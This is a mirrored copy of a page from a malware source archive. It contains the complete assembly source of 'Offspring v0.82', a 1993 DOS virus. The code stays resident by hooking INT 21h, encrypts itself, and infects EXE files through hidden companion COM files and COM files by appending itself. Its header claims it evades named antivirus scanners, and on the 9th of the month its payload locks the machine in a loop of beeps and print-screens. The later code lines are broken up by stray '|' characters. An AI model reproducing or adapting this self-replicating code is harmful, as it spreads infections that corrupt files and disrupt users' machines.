mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-25 00:18:34 +00:00
672 lines
18 KiB
NASM
672 lines
18 KiB
NASM
;-------------------------------------------------------------------------
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; ************************************************
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; OFFSPRING v0.82 - BY VIROGEN - 09-06-93
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; ************************************************
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;
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; - Compatible with : TASM /m2
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;
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; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
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;
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;
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; VERSION : 0.82
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; - No longer detectable by Mcafee SCAN as anything.
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; - No longer detectable by TBAV heuristics.
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;
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;
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; INFECTION METHOD : Everytime DOS function 4Bh (Execute File)
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; is called the virus will infect up to 5 files
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; in the current directory. It will first infect all
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; EXE files by creating a corresponding COM. Once
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; all EXE files have been infected, it then infects
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; COM files. All COM files created by a spawning
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; infection will have the read-only and hidden
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; attribute.
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;
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;
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; THE ENCRYPION OF THIS VIRUS :
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; Ok, this virus's encryption method is a simple
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; XOR. The encryption operands are changed directly.
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; Also, the operands are switched around, and the
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; encryption routine switches from using di to si.
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; Not anything overly amazing, but it works.
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;
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;
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;
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;
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title offspring_1
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.286
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cseg segment
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assume cs: cseg, ds: cseg, ss: cseg, es: cseg
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signal equ 7dh ; Installation check
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reply equ 0fch ; reply to check
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f_name equ 1eh ; Offset of file name in FF/FN buffer
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f_sizel equ 1ch ; File size - low - loc in mem
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f_sizeh equ 1ah ; File size - high - loc in mem
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f_date equ 18h ; File date - loc in mem
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f_time equ 16h ; File time - loc in mem
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max_inf equ 05 ; Maximum files to infect per run
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max_rotation equ 9 ; number of bytes in switch byte table
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parastic equ 01 ; Parastic infection
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spawn equ 00 ; Spawning infection
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org 100h ; Leave room for PSP
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;------------------------------------------------------------------
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; Start of viral code
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;------------------------------------------------------------------
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start:
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skip_dec:
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jmp main ; Skip decryption, changes into NOP on
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; replicated copies.
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di_op db 0bfh
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mov_di dw offset enc_data+2 ; Point to byte after encryption num
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;
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;-------------------------
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; Encryption/Decryption
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encrypt:
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cx_m db 90h,0b9h ; MOV CX
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b_wr dw (offset vend-offset enc_data)/2
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xor_loop:
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xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
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sw_byte3: ; INC xx changes position in these bytes
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inc di
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nop
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nop
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sw_byte4:
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inc di
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nop
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nop
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loop xor_loop ; loop while cx != 0
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ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
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enc_data: ; Start of encrypted data
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;-------------------------------
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; Non-Resident portion of virus
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;-------------------------------
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main proc
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db 0bdh ; MOV BP,xxxx - Load delta offset
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set_bp:
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dw 0000
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mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption
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mov ax,ds: 002ch ; Get environment address
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mov par_blk[bp],ax ; Save in parameter block for exec
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mov par1[bp],cs ; Save segments for EXEC
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mov par2[bp],cs
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mov par_seg[bp],cs
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mov ah,2ah ; Get date
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int 21h
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cmp dl,9 ; 9th?
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jne no_display
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mov ah,09 ; display virus name
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lea dx,vname[bp]
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int 21h
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xor ax,ax ; seg 0
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mov es,ax
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mov dx,1010101010101010b ; lights
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chg_lights: ; Infinite loop to change keyboard
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mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
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ror dx,1 ; rotate bits
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mov cx,0101h ; scan code/ascii
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mov ah,05h ; push a beep onto keyb buf
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int 16h
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mov ah,10h ; Read key back so we don't fill
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int 16h ; up the keyboard buffer
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int 5h ; Print-Screen
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mov ax,0a07h ; Write BEEP to screen
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xor bh,bh
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mov cx,1
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int 10h
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mov ah,86h ; Delay
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mov cx,0002h
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int 15h
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jmp chg_lights
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no_display:
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call install ; check if installed, if not install
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cmp byte ptr vtype[bp],parastic
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je com_return
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mov bx,(offset vend+50) ; Calculate memory needed
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mov cl,4 ; divide by 16
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shr bx,cl
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inc bx
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mov ah,4ah
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int 21h ; Release un-needed memory
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lea dx,file_dir-1[bp] ; Execute the original EXE
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lea bx,par_blk[bp]
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mov ch,0FBh ; tell mem. resident virus
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mov ax,4b00h ; that it's us.
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int 21h
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mov ah,4ch ; Exit
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int 21h
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com_return:
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mov si,bp
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mov cx,6 ; Restore original first
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add si,offset org_bytes ; six bytes of COM file
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mov di,0100h
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cld
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rep movsb
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mov ax,0100h ; Simulate CALL return to 0100h
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push ax
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ret
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main endp
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;--------------------------------------
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; INSTALL - Install the virus
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;--------------------------------------
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install proc
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mov ah,signal
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int 21h
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cmp ah,reply
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je no_install
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mov ax,cs
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dec ax
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mov ds,ax
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cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
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;the chain?
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jne no_install
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mov ax,ds: [3] ;Block size in MCB
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sub ax,190 ;Shrink Block Size-quick estimate
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mov ds: [3],ax
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mov bx,ax
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mov ax,es
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add ax,bx
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mov es,ax ;Find high memory seg
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mov si,bp
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add si,0100h
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mov cx,(offset vend - offset start)
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mov ax,ds
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inc ax
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mov ds,ax
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mov di,100h ; New location in high memory
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cld
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rep movsb ; Copy virus to high memory
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push es
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pop ds
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xor ax,ax
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mov es,ax ; null es
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mov ax,es: [21h*4+2]
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mov bx,es: [21h*4]
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mov ds: old21_seg,ax ; Store segment
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mov ds: old21_ofs,bx ; Store offset
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cli
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mov es: [21h*4+2],ds ; Save seg
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lea ax, new21
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mov es: [21h*4],ax ; off
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sti
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no_install:
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push cs ; Restore regs
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pop ds
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push cs
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pop es
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ret
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install endp
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;--------------------------------------------------------------------
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; INT 21h
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;---------------------------------------------------------------------
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new21 proc ; New INT 21H handler
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cmp ah, signal ; signaling us?
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jne no
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mov ah,reply ; yep, give our offspring what he wants
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jmp end_21
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no:
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cmp ax,4b00h ; exec func?
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je exec_func
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jmp end_21
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exec_func:
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cmp ch,0FBh
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je end_21
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run_res:
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pushf
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push ax ; Push regs
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push bx
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push cx
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push dx
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push di
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push si
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push bp
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push ds
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push es
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push sp
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push ss
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push cs
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pop ds
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xor ax,ax ; nullify ES
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mov es,ax
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cmp byte ptr add_mem,1 ; Restore system conventional mem size?
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je rel_mem ;
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cmp ah,48h ; alloc. mem block? If so we subtract 3k from
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je set_mem ; total system memory.
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jmp no_mem_func
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set_mem:
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sub word ptr es: [413h],3 ; Subtract 3k from total sys mem
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inc byte ptr add_mem ; make sure we know to add this back
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jmp no_mem_func
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rel_mem:
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add word ptr es: [413h],3 ; Add 3k to total sys mem
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dec byte ptr add_mem
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no_mem_func:
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mov ah,2fh
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int 21h ; Get the DTA
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mov ax,es
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mov word ptr old_dta,bx
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mov word ptr old_dta+2,ax
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push cs
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pop es
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call resident ; Call infection kernal
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mov dx,word ptr old_dta
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mov ax,word ptr old_dta+2
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mov ds,ax
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mov ah,1ah
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int 21h ; Restore the DTA
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pop ss ; Pop regs
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pop sp
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pop es
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pop ds
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pop bp
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pop si
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pop di
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pop dx
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pop cx
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pop bx
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pop ax
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popf
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end_21 :
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db 0eah ; jump to original int 21h
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old21_ofs dw 0 ; Offset of old INT 21H
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old21_seg dw 0 ; Seg of old INT 21h
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new21 endp ; End of handler
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;------------------------
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; Resident - This is called from the INT 21h handler
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;-----------------------------
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resident proc
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mov byte ptr vtype,spawn
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mov word ptr set_bp,0000 ; BP=0000 on load
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mov byte ptr inf_count,0 ; null infection count
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mov fname_off, offset fname1 ; Set search for *.EXE
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mov word ptr mov_di,offset enc_data+2
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find_first:
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mov word ptr vend,0 ; Clear ff/fn buffer
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lea si, vend
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lea di, vend+2
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mov cx, 22
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cld
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rep movsw
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; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
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mov ah, 1ah
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lea dx, vend
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int 21h
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mov ah, 4eh ; Findfirst
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mov cx, 0 ; Set normal file attribute search
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mov dx, fname_off
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int 21h
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jnc next_loop ; if still finding files then loop
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jmp end_prog
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next_loop :
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cmp byte ptr vtype, parastic ; parastic infection?
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je start_inf ; yes, skip all this
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mov ah,47h
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xor dl,dl
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lea si,file_dir
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int 21h
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cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+
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je ok_find ; for spawning infections
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jmp find_file
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ok_find:
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xor bx,bx
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lm3 : ; find end of directory name
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inc bx
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cmp file_dir[bx],0
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jne lm3
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mov file_dir[bx],'\' ; append backslash to path
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inc bx
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mov cx,13 ; append filename to path
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lea si,vend[f_name]
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lea di,file_dir[bx]
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cld
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rep movsb
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xor bx,bx
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mov bx,1eh
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loop_me: ; search for filename ext.
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inc bx
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cmp byte ptr vend[bx], '.'
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jne loop_me
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inc bx ; change it to COM
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mov word ptr vend [bx],'OC'
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mov byte ptr vend [bx+2],'M'
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start_inf:
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cmp byte ptr vtype, parastic ; parastic infection?
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je parastic_inf ; yes.. so jump
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;--------------------------------------
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; Spawning infection
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lea dx, vend[f_name]
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mov ah, 3ch ; Create file
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mov cx, 02h ; READ-ONLY
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or cx, 01h ; Hidden
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int 21h ; Call INT 21H
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jnc contin ; If Error-probably already infected
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jmp no_infect
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contin:
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inc inf_count
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mov bx,ax
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jmp encrypt_ops
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;----------------------------------------
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; Parastic infection
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parastic_inf :
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cmp word ptr vend+f_sizeh,400h
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jge cont_inf2
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jmp no_infect
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cont_inf2:
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lea si,vend+f_name ; Is Command.COM?
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lea di,com_name
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mov cx,11
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cld
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repe cmpsb
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jne cont_inf0 ; Yes, don't infect
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jmp no_infect
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cont_inf0:
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mov ax,3d02h ; Open file for reading & writing
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lea dx,vend+f_name ; Filename in FF/FN buffer
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int 21h
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jnc cont_inf1 ; error, skip infection
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jmp no_infect
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cont_inf1:
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mov bx,ax
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mov ah,3fh ; Read first bytes of file
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mov cx,06
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lea dx,org_bytes
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int 21h
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cmp word ptr org_bytes,09090h
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jne cont_inf
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mov ah,3eh
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int 21h
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jmp no_infect
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cont_inf:
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inc inf_count
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mov ax,4202h ; Set pointer to end of file, so we
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xor cx,cx ; can find the file size
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xor dx,dx
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int 21h
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mov word ptr set_bp,ax ; Change the MOV BP inst.
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add ax, offset enc_data+2
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mov word ptr mov_di,ax ; chg mov di,xxxx
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mov ax,4200h
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xor cx,cx
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xor dx,dx
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int 21h
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mov ax,word ptr vend+f_sizeh
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sub ax,6
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mov word ptr new_jmp+1,ax
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mov ah,40h
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mov cx,6
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lea dx,new_code
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int 21h
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mov ax,4202h
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xor cx,cx
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xor dx,dx
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int 21h
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encrypt_ops:
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;-----------------------------
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; Change encryptions ops
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push bx
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cmp pad_bytes,50
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je reset_pad
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inc word ptr pad_bytes ; Increase file size
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inc word ptr b_wr
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jmp pad_ok
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reset_pad:
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mov ax,pad_bytes
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sub word ptr b_wr,ax
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xor ax,ax
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mov pad_bytes,ax
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pad_ok:
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cmp inc_op,47h ; change ops from DI to SI
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jne set2
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dec inc_op
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dec byte ptr xor_op+1
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dec di_op
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dec byte ptr enc_addr
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dec byte ptr enc_add+1
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jmp chg_three
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set2:
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inc inc_op
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inc byte ptr xor_op+1
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inc di_op
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inc byte ptr enc_addr
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inc byte ptr enc_add+1
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chg_three:
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mov ah,inc_op
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xor cx,cx
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lea di,sw_byte3
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chg_four:
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xor bx,bx ; Switch INC xx's location
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cmp word ptr [di],9090h
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je mov_pos
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inc bx
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inc bx
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cmp byte ptr [di+1],90h ; is second byte not 90h
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je mov_pos
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dec bx
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mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd)
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mov byte ptr [di+2],90h ; to NOP
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mov byte ptr [di+bx],ah ; place inc xx in other byte
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lea di,sw_byte4
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inc cx
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cmp cx,1
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je chg_four
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;-----------------------
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; Get random XOR number, save it, copy virus, encrypt code
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d2:
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mov ah,2ch ;
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int 21h ; Get random number from clock - millisecs
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mov word ptr xor_op+2,dx ; save encryption #
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mov si,0100h
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lea di,vend+50 ; destination
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mov cx,offset vend-100h ; bytes to move
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cld
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rep movsb ; copy virus outside of code
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enc_addr:
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mov di,offset vend
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enc_add:
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add di,offset enc_data-100h+52 ; offset of new copy of virus
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go_enc:
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mov byte ptr ret_byte,0c3h
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call encrypt ; encrypt new copy of virus
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mov byte ptr ret_byte,90h
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;----------------------------------------
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; Write and close new infected file
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pop bx
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mov cx, offset vend-100h ; # of bytes to write
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add cx, pad_bytes
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lea dx, vend+50 ; Offset of buffer
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mov ah, 40h ; -- our program in memory
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int 21h ; Call INT 21H function 40h
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mov ax,5701h ; Restore data/time
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mov cx,word ptr vend[f_time]
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mov dx,word ptr vend[f_date]
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int 21h
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close:
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mov ah, 3eh
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int 21h
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no_infect:
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; Find next file
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find_file :
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cmp inf_count, max_inf
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je end_prog
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mov ah,4fh
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int 21h
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jc end_prog
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jmp next_loop
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end_prog:
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|
exit :
|
|
cmp inf_count,0 ; Start parastic infection on next run
|
|
jne find_done
|
|
cmp byte ptr vtype, parastic ; Parastic infection done?
|
|
je find_done
|
|
mov fname_off, offset fname2 ; Point to new filespec
|
|
mov byte ptr vtype, parastic ; virus type = parastic
|
|
jmp find_first
|
|
|
|
|
|
find_done:
|
|
mov byte ptr vtype,spawn
|
|
mov fname_off, offset fname1
|
|
ret
|
|
resident endp
|
|
|
|
vtype db spawn ; Infection type
|
|
rot_num dw 0000 ; Used when replacing bytes with OP_SET
|
|
inf_count db 0 ; How many files we have infected this run
|
|
com_name db 'COMMAND.COM' ; obvious
|
|
new_code db 90h,90h,90h ; preceed with three NOPs
|
|
new_jmp db 0e9h,00,00 ; New Jump
|
|
org_bytes db 7 dup(0) ; original first six bytes of parastic inf.
|
|
pad_bytes dw 0 ; Increase in viru size
|
|
add_mem db 0 ; Add memory back?
|
|
old_dta dd 0 ; Old DTA Segment:Address
|
|
inc_op db 47h ; INC DI (47h) or INC SI (46h)
|
|
|
|
copyr db '(c)1993 negoriV' ; my copyright
|
|
vname db 0ah,0dh,'OFFSPRING V0.82','$'
|
|
|
|
fname1 db '*.EXE',0 ; Filespec
|
|
fname2 db '*.COM',0 ; Filespec
|
|
fname_off dw fname1 ; Offset of Filespec to use
|
|
times_inc db 0 ; # of times encryption call incremented
|
|
sl db '\' ; Backslash for directory name
|
|
file_dir db 64 dup(0) ; directory of file we infected
|
|
file_name db 13 dup(0) ; filename of file we infected
|
|
|
|
par_blk dw 0 ; command line count byte -psp
|
|
par_cmd dw 0080h ; Point to the command line -psp
|
|
par_seg dw 0 ; seg
|
|
dw 05ch ; Use default FCB's in psp to save space
|
|
par1 dw 0 ;
|
|
dw 06ch ; FCB #2
|
|
par2 dw 0 ;
|
|
vend: ; End of virus
|
|
|
|
cseg ends
|
|
end start
|